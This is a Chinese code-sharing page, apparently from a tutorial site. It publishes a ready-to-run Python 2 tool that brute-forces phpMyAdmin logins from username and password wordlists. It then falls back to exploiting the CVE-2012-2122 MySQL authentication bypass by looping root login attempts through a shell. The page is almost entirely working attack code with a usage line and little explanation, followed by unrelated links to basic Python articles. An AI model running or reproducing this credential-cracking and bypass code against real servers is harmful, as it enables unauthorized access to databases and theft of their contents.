Python写的PHPMyAdmin暴力破解工具代码

yipeiwu_com5年前Python基础

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py //www.jb51.net/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)

相关文章

python中list常用操作实例详解

本文实例讲述了python中list常用操作。分享给大家供大家参考。具体分析如下: 1.定义list >>> li = ["a", "b", "mpilgrim",...

Python 解决OPEN读文件报错 ,路径以及r的问题

Python 中 ‘unicodeescape' codec can't decode bytes in position XXX: trun错误解决方案 背景描述 今天在运用Pytho...

python 函数的缺省参数使用注意事项分析

本文实例讲述了python 函数的缺省参数使用注意事项。分享给大家供大家参考,具体如下: python的函数支持4种形式的参数:分别是必选参数、 缺省参数、 可变长参数、关键字参数;而且...

举例详解Python中的split()函数的使用方法

函数:split() Python中有split()和os.path.split()两个函数,具体作用如下: split():拆分字符串。通过指定分隔符对字符串进行切片,并返回分割后的字...

基于anaconda下强大的conda命令介绍

我们来探究window下面,使用conda命令来操作anaconda,安装库。 conda -V 检验是否安装;以及当前的anaconda版本 conda list 查看安装了那些库 c...